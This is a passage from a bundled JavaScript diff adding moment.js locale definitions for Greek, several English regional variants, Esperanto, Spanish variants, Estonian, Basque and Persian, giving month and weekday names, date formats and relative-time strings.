this._monthsNominativeEl[e.month()] + } + }, + monthsShort: "Ιαν_Φεβ_Μαρ_Απρ_Μαϊ_Ιουν_Ιουλ_Αυγ_Σεπ_Οκτ_Νοε_Δεκ".split("_"), + weekdays: "Κυριακή_Δευτέρα_Τρίτη_Τετάρτη_Πέμπτη_Παρασκευή_Σάββατο".split("_"), + weekdaysShort: "Κυρ_Δευ_Τρι_Τετ_Πεμ_Παρ_Σαβ".split("_"), + weekdaysMin: "Κυ_Δε_Τρ_Τε_Πε_Πα_Σα".split("_"), + meridiem: function (e, t, i) { + if (e > 11) { + return i ? "μμ" : "ΜΜ" + } else { + return i ? "πμ" : "ΠΜ" + } + }, + isPM: function (e) { + return (e + "").toLowerCase()[0] === "μ" + }, + meridiemParse: /[ΠΜ]\.?Μ?\.?/i, + longDateFormat: { + LT: "h:mm A", + LTS: "h:mm:ss A", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY h:mm A", + LLLL: "dddd, D MMMM YYYY h:mm A" + }, + calendarEl: { + sameDay: "[Σήμερα {}] LT", + nextDay: "[Αύριο {}] LT", + nextWeek: "dddd [{}] LT", + lastDay: "[Χθες {}] LT", + lastWeek: function () { + switch (this.day()) { + case 6: + return "[το προηγούμενο] dddd [{}] LT"; + default: + return "[την προηγούμενη] dddd [{}] LT" + } + }, + sameElse: "L" + }, + calendar: function (e, i) { + var n = this._calendarEl[e], + r = i && i.hours(); + if (t(n)) { + n = n.apply(i) + } + return n.replace("{}", r % 12 === 1 ? "στη" : "στις") + }, + relativeTime: { + future: "σε %s", + past: "%s πριν", + s: "λίγα δευτερόλεπτα", + ss: "%d δευτερόλεπτα", + m: "ένα λεπτό", + mm: "%d λεπτά", + h: "μία ώρα", + hh: "%d ώρες", + d: "μία μέρα", + dd: "%d μέρες", + M: "ένας μήνας", + MM: "%d μήνες", + y: "ένας χρόνος", + yy: "%d χρόνια" + }, + dayOfMonthOrdinalParse: /\d{1,2}η/, + ordinal: "%dη", + week: { + dow: 1, + doy: 4 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("en-SG", { + months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), + monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"), + weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), + weekdaysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"), + weekdaysMin: "Su_Mo_Tu_We_Th_Fr_Sa".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Today at] LT", + nextDay: "[Tomorrow at] LT", + nextWeek: "dddd [at] LT", + lastDay: "[Yesterday at] LT", + lastWeek: "[Last] dddd [at] LT", + sameElse: "L" + }, + relativeTime: { + future: "in %s", + past: "%s ago", + s: "a few seconds", + ss: "%d seconds", + m: "a minute", + mm: "%d minutes", + h: "an hour", + hh: "%d hours", + d: "a day", + dd: "%d days", + M: "a month", + MM: "%d months", + y: "a year", + yy: "%d years" + }, + dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, + ordinal: function (e) { + var t = e % 10, + i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; + return e + i + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("en-au", { + months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), + monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"), + weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), + weekdaysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"), + weekdaysMin: "Su_Mo_Tu_We_Th_Fr_Sa".split("_"), + longDateFormat: { + LT: "h:mm A", + LTS: "h:mm:ss A", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY h:mm A", + LLLL: "dddd, D MMMM YYYY h:mm A" + }, + calendar: { + sameDay: "[Today at] LT", + nextDay: "[Tomorrow at] LT", + nextWeek: "dddd [at] LT", + lastDay: "[Yesterday at] LT", + lastWeek: "[Last] dddd [at] LT", + sameElse: "L" + }, + relativeTime: { + future: "in %s", + past: "%s ago", + s: "a few seconds", + ss: "%d seconds", + m: "a minute", + mm: "%d minutes", + h: "an hour", + hh: "%d hours", + d: "a day", + dd: "%d days", + M: "a month", + MM: "%d months", + y: "a year", + yy: "%d years" + }, + dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, + ordinal: function (e) { + var t = e % 10, + i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; + return e + i + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("en-ca", { + months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), + monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"), + weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), + weekdaysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"), + weekdaysMin: "Su_Mo_Tu_We_Th_Fr_Sa".split("_"), + longDateFormat: { + LT: "h:mm A", + LTS: "h:mm:ss A", + L: "YYYY-MM-DD", + LL: "MMMM D, YYYY", + LLL: "MMMM D, YYYY h:mm A", + LLLL: "dddd, MMMM D, YYYY h:mm A" + }, + calendar: { + sameDay: "[Today at] LT", + nextDay: "[Tomorrow at] LT", + nextWeek: "dddd [at] LT", + lastDay: "[Yesterday at] LT", + lastWeek: "[Last] dddd [at] LT", + sameElse: "L" + }, + relativeTime: { + future: "in %s", + past: "%s ago", + s: "a few seconds", + ss: "%d seconds", + m: "a minute", + mm: "%d minutes", + h: "an hour", + hh: "%d hours", + d: "a day", + dd: "%d days", + M: "a month", + MM: "%d months", + y: "a year", + yy: "%d years" + }, + dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, + ordinal: function (e) { + var t = e % 10, + i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; + return e + i + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("en-gb", { + months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), + monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"), + weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), + weekdaysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"), + weekdaysMin: "Su_Mo_Tu_We_Th_Fr_Sa".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Today at] LT", + nextDay: "[Tomorrow at] LT", + nextWeek: "dddd [at] LT", + lastDay: "[Yesterday at] LT", + lastWeek: "[Last] dddd [at] LT", + sameElse: "L" + }, + relativeTime: { + future: "in %s", + past: "%s ago", + s: "a few seconds", + ss: "%d seconds", + m: "a minute", + mm: "%d minutes", + h: "an hour", + hh: "%d hours", + d: "a day", + dd: "%d days", + M: "a month", + MM: "%d months", + y: "a year", + yy: "%d years" + }, + dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, + ordinal: function (e) { + var t = e % 10, + i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; + return e + i + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("en-ie", { + months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), + monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"), + weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), + weekdaysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"), + weekdaysMin: "Su_Mo_Tu_We_Th_Fr_Sa".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Today at] LT", + nextDay: "[Tomorrow at] LT", + nextWeek: "dddd [at] LT", + lastDay: "[Yesterday at] LT", + lastWeek: "[Last] dddd [at] LT", + sameElse: "L" + }, + relativeTime: { + future: "in %s", + past: "%s ago", + s: "a few seconds", + ss: "%d seconds", + m: "a minute", + mm: "%d minutes", + h: "an hour", + hh: "%d hours", + d: "a day", + dd: "%d days", + M: "a month", + MM: "%d months", + y: "a year", + yy: "%d years" + }, + dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, + ordinal: function (e) { + var t = e % 10, + i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; + return e + i + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("en-il", { + months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), + monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"), + weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), + weekdaysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"), + weekdaysMin: "Su_Mo_Tu_We_Th_Fr_Sa".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Today at] LT", + nextDay: "[Tomorrow at] LT", + nextWeek: "dddd [at] LT", + lastDay: "[Yesterday at] LT", + lastWeek: "[Last] dddd [at] LT", + sameElse: "L" + }, + relativeTime: { + future: "in %s", + past: "%s ago", + s: "a few seconds", + m: "a minute", + mm: "%d minutes", + h: "an hour", + hh: "%d hours", + d: "a day", + dd: "%d days", + M: "a month", + MM: "%d months", + y: "a year", + yy: "%d years" + }, + dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, + ordinal: function (e) { + var t = e % 10, + i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; + return e + i + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("en-nz", { + months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), + monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"), + weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), + weekdaysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"), + weekdaysMin: "Su_Mo_Tu_We_Th_Fr_Sa".split("_"), + longDateFormat: { + LT: "h:mm A", + LTS: "h:mm:ss A", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY h:mm A", + LLLL: "dddd, D MMMM YYYY h:mm A" + }, + calendar: { + sameDay: "[Today at] LT", + nextDay: "[Tomorrow at] LT", + nextWeek: "dddd [at] LT", + lastDay: "[Yesterday at] LT", + lastWeek: "[Last] dddd [at] LT", + sameElse: "L" + }, + relativeTime: { + future: "in %s", + past: "%s ago", + s: "a few seconds", + ss: "%d seconds", + m: "a minute", + mm: "%d minutes", + h: "an hour", + hh: "%d hours", + d: "a day", + dd: "%d days", + M: "a month", + MM: "%d months", + y: "a year", + yy: "%d years" + }, + dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, + ordinal: function (e) { + var t = e % 10, + i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; + return e + i + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("eo", { + months: "januaro_februaro_marto_aprilo_majo_junio_julio_aŭgusto_septembro_oktobro_novembro_decembro".split("_"), + monthsShort: "jan_feb_mar_apr_maj_jun_jul_aŭg_sep_okt_nov_dec".split("_"), + weekdays: "dimanĉo_lundo_mardo_merkredo_ĵaŭdo_vendredo_sabato".split("_"), + weekdaysShort: "dim_lun_mard_merk_ĵaŭ_ven_sab".split("_"), + weekdaysMin: "di_lu_ma_me_ĵa_ve_sa".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "YYYY-MM-DD", + LL: "D[-a de] MMMM, YYYY", + LLL: "D[-a de] MMMM, YYYY HH:mm", + LLLL: "dddd, [la] D[-a de] MMMM, YYYY HH:mm" + }, + meridiemParse: /[ap]\.t\.m/i, + isPM: function (e) { + return e.charAt(0).toLowerCase() === "p" + }, + meridiem: function (e, t, i) { + if (e > 11) { + return i ? "p.t.m." : "P.T.M." + } else { + return i ? "a.t.m." : "A.T.M." + } + }, + calendar: { + sameDay: "[Hodiaŭ je] LT", + nextDay: "[Morgaŭ je] LT", + nextWeek: "dddd [je] LT", + lastDay: "[Hieraŭ je] LT", + lastWeek: "[pasinta] dddd [je] LT", + sameElse: "L" + }, + relativeTime: { + future: "post %s", + past: "antaŭ %s", + s: "sekundoj", + ss: "%d sekundoj", + m: "minuto", + mm: "%d minutoj", + h: "horo", + hh: "%d horoj", + d: "tago", + dd: "%d tagoj", + M: "monato", + MM: "%d monatoj", + y: "jaro", + yy: "%d jaroj" + }, + dayOfMonthOrdinalParse: /\d{1,2}a/, + ordinal: "%da", + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = "ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"), + i = "ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"); + var n = [/^ene/i, /^feb/i, /^mar/i, /^abr/i, /^may/i, /^jun/i, /^jul/i, /^ago/i, /^sep/i, /^oct/i, /^nov/i, /^dic/i]; + var r = /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i; + var a = e.defineLocale("es", { + months: "enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"), + monthsShort: function (e, n) { + if (!e) { + return t + } else if (/-MMM-/.test(n)) { + return i[e.month()] + } else { + return t[e.month()] + } + }, + monthsRegex: r, + monthsShortRegex: r, + monthsStrictRegex: /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i, + monthsShortStrictRegex: /^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i, + monthsParse: n, + longMonthsParse: n, + shortMonthsParse: n, + weekdays: "domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"), + weekdaysShort: "dom._lun._mar._mié._jue._vie._sáb.".split("_"), + weekdaysMin: "do_lu_ma_mi_ju_vi_sá".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD/MM/YYYY", + LL: "D [de] MMMM [de] YYYY", + LLL: "D [de] MMMM [de] YYYY H:mm", + LLLL: "dddd, D [de] MMMM [de] YYYY H:mm" + }, + calendar: { + sameDay: function () { + return "[hoy a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + nextDay: function () { + return "[mañana a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + nextWeek: function () { + return "dddd [a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + lastDay: function () { + return "[ayer a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + lastWeek: function () { + return "[el] dddd [pasado a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + sameElse: "L" + }, + relativeTime: { + future: "en %s", + past: "hace %s", + s: "unos segundos", + ss: "%d segundos", + m: "un minuto", + mm: "%d minutos", + h: "una hora", + hh: "%d horas", + d: "un día", + dd: "%d días", + M: "un mes", + MM: "%d meses", + y: "un año", + yy: "%d años" + }, + dayOfMonthOrdinalParse: /\d{1,2}º/, + ordinal: "%dº", + week: { + dow: 1, + doy: 4 + } + }); + return a + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = "ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"), + i = "ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"); + var n = [/^ene/i, /^feb/i, /^mar/i, /^abr/i, /^may/i, /^jun/i, /^jul/i, /^ago/i, /^sep/i, /^oct/i, /^nov/i, /^dic/i]; + var r = /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i; + var a = e.defineLocale("es-do", { + months: "enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"), + monthsShort: function (e, n) { + if (!e) { + return t + } else if (/-MMM-/.test(n)) { + return i[e.month()] + } else { + return t[e.month()] + } + }, + monthsRegex: r, + monthsShortRegex: r, + monthsStrictRegex: /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i, + monthsShortStrictRegex: /^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i, + monthsParse: n, + longMonthsParse: n, + shortMonthsParse: n, + weekdays: "domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"), + weekdaysShort: "dom._lun._mar._mié._jue._vie._sáb.".split("_"), + weekdaysMin: "do_lu_ma_mi_ju_vi_sá".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "h:mm A", + LTS: "h:mm:ss A", + L: "DD/MM/YYYY", + LL: "D [de] MMMM [de] YYYY", + LLL: "D [de] MMMM [de] YYYY h:mm A", + LLLL: "dddd, D [de] MMMM [de] YYYY h:mm A" + }, + calendar: { + sameDay: function () { + return "[hoy a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + nextDay: function () { + return "[mañana a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + nextWeek: function () { + return "dddd [a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + lastDay: function () { + return "[ayer a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + lastWeek: function () { + return "[el] dddd [pasado a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + sameElse: "L" + }, + relativeTime: { + future: "en %s", + past: "hace %s", + s: "unos segundos", + ss: "%d segundos", + m: "un minuto", + mm: "%d minutos", + h: "una hora", + hh: "%d horas", + d: "un día", + dd: "%d días", + M: "un mes", + MM: "%d meses", + y: "un año", + yy: "%d años" + }, + dayOfMonthOrdinalParse: /\d{1,2}º/, + ordinal: "%dº", + week: { + dow: 1, + doy: 4 + } + }); + return a + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = "ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"), + i = "ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"); + var n = [/^ene/i, /^feb/i, /^mar/i, /^abr/i, /^may/i, /^jun/i, /^jul/i, /^ago/i, /^sep/i, /^oct/i, /^nov/i, /^dic/i]; + var r = /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i; + var a = e.defineLocale("es-us", { + months: "enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"), + monthsShort: function (e, n) { + if (!e) { + return t + } else if (/-MMM-/.test(n)) { + return i[e.month()] + } else { + return t[e.month()] + } + }, + monthsRegex: r, + monthsShortRegex: r, + monthsStrictRegex: /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i, + monthsShortStrictRegex: /^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i, + monthsParse: n, + longMonthsParse: n, + shortMonthsParse: n, + weekdays: "domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"), + weekdaysShort: "dom._lun._mar._mié._jue._vie._sáb.".split("_"), + weekdaysMin: "do_lu_ma_mi_ju_vi_sá".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "h:mm A", + LTS: "h:mm:ss A", + L: "MM/DD/YYYY", + LL: "D [de] MMMM [de] YYYY", + LLL: "D [de] MMMM [de] YYYY h:mm A", + LLLL: "dddd, D [de] MMMM [de] YYYY h:mm A" + }, + calendar: { + sameDay: function () { + return "[hoy a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + nextDay: function () { + return "[mañana a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + nextWeek: function () { + return "dddd [a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + lastDay: function () { + return "[ayer a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + lastWeek: function () { + return "[el] dddd [pasado a la" + (this.hours() !== 1 ? "s" : "") + "] LT" + }, + sameElse: "L" + }, + relativeTime: { + future: "en %s", + past: "hace %s", + s: "unos segundos", + ss: "%d segundos", + m: "un minuto", + mm: "%d minutos", + h: "una hora", + hh: "%d horas", + d: "un día", + dd: "%d días", + M: "un mes", + MM: "%d meses", + y: "un año", + yy: "%d años" + }, + dayOfMonthOrdinalParse: /\d{1,2}º/, + ordinal: "%dº", + week: { + dow: 0, + doy: 6 + } + }); + return a + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t, i, n) { + var r = { + s: ["mõne sekundi", "mõni sekund", "paar sekundit"], + ss: [e + "sekundi", e + "sekundit"], + m: ["ühe minuti", "üks minut"], + mm: [e + " minuti", e + " minutit"], + h: ["ühe tunni", "tund aega", "üks tund"], + hh: [e + " tunni", e + " tundi"], + d: ["ühe päeva", "üks päev"], + M: ["kuu aja", "kuu aega", "üks kuu"], + MM: [e + " kuu", e + " kuud"], + y: ["ühe aasta", "aasta", "üks aasta"], + yy: [e + " aasta", e + " aastat"] + }; + if (t) { + return r[i][2] ? r[i][2] : r[i][1] + } + return n ? r[i][0] : r[i][1] + } + var i = e.defineLocale("et", { + months: "jaanuar_veebruar_märts_aprill_mai_juuni_juuli_august_september_oktoober_november_detsember".split("_"), + monthsShort: "jaan_veebr_märts_apr_mai_juuni_juuli_aug_sept_okt_nov_dets".split("_"), + weekdays: "pühapäev_esmaspäev_teisipäev_kolmapäev_neljapäev_reede_laupäev".split("_"), + weekdaysShort: "P_E_T_K_N_R_L".split("_"), + weekdaysMin: "P_E_T_K_N_R_L".split("_"), + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY H:mm", + LLLL: "dddd, D. MMMM YYYY H:mm" + }, + calendar: { + sameDay: "[Täna,] LT", + nextDay: "[Homme,] LT", + nextWeek: "[Järgmine] dddd LT", + lastDay: "[Eile,] LT", + lastWeek: "[Eelmine] dddd LT", + sameElse: "L" + }, + relativeTime: { + future: "%s pärast", + past: "%s tagasi", + s: t, + ss: t, + m: t, + mm: t, + h: t, + hh: t, + d: t, + dd: "%d päeva", + M: t, + MM: t, + y: t, + yy: t + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("eu", { + months: "urtarrila_otsaila_martxoa_apirila_maiatza_ekaina_uztaila_abuztua_iraila_urria_azaroa_abendua".split("_"), + monthsShort: "urt._ots._mar._api._mai._eka._uzt._abu._ira._urr._aza._abe.".split("_"), + monthsParseExact: true, + weekdays: "igandea_astelehena_asteartea_asteazkena_osteguna_ostirala_larunbata".split("_"), + weekdaysShort: "ig._al._ar._az._og._ol._lr.".split("_"), + weekdaysMin: "ig_al_ar_az_og_ol_lr".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "YYYY-MM-DD", + LL: "YYYY[ko] MMMM[ren] D[a]", + LLL: "YYYY[ko] MMMM[ren] D[a] HH:mm", + LLLL: "dddd, YYYY[ko] MMMM[ren] D[a] HH:mm", + l: "YYYY-M-D", + ll: "YYYY[ko] MMM D[a]", + lll: "YYYY[ko] MMM D[a] HH:mm", + llll: "ddd, YYYY[ko] MMM D[a] HH:mm" + }, + calendar: { + sameDay: "[gaur] LT[etan]", + nextDay: "[bihar] LT[etan]", + nextWeek: "dddd LT[etan]", + lastDay: "[atzo] LT[etan]", + lastWeek: "[aurreko] dddd LT[etan]", + sameElse: "L" + }, + relativeTime: { + future: "%s barru", + past: "duela %s", + s: "segundo batzuk", + ss: "%d segundo", + m: "minutu bat", + mm: "%d minutu", + h: "ordu bat", + hh: "%d ordu", + d: "egun bat", + dd: "%d egun", + M: "hilabete bat", + MM: "%d hilabete", + y: "urte bat", + yy: "%d urte" + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "۱", + 2: "۲", + 3: "۳", + 4: "۴", + 5: "۵", + 6: "۶", + 7: "۷", + 8: "۸", + 9: "۹", + 0: "۰" + }, + i = { + "۱": "1", + "۲": "2", + "۳": "3", + "۴": "4", + "۵": "5", + "۶": "6", + "۷": "7", + "۸": "8", + "۹": "9", + "۰": "0" + }; + var n = e.defineLocale("fa", { + months: "ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر".split("_"), + monthsShort: "ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر".split("_"), + weekdays: "یک‌شنبه_دوشنبه_سه‌شنبه_چهارشنبه_پنج‌شنبه_جمعه_شنبه".split("_"), + weekdaysShort: "یک‌شنبه_دوشنبه_سه‌شنبه_چهارشنبه_پنج‌شنبه_جمعه_شنبه".split("_"), + weekdaysMin: "ی_د_س_چ_پ_ج_ش".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + meridiemParse: /قبل از ظهر|بعد از ظهر/, + isPM: function (e) { + return /بعد از ظهر/.test(e) + }, + meridiem: function (e, t, i) { + if (e < 12) { + return "قبل از ظهر" + } else { + return "بعد از ظهر" + } + }, + calendar: { + sameDay: 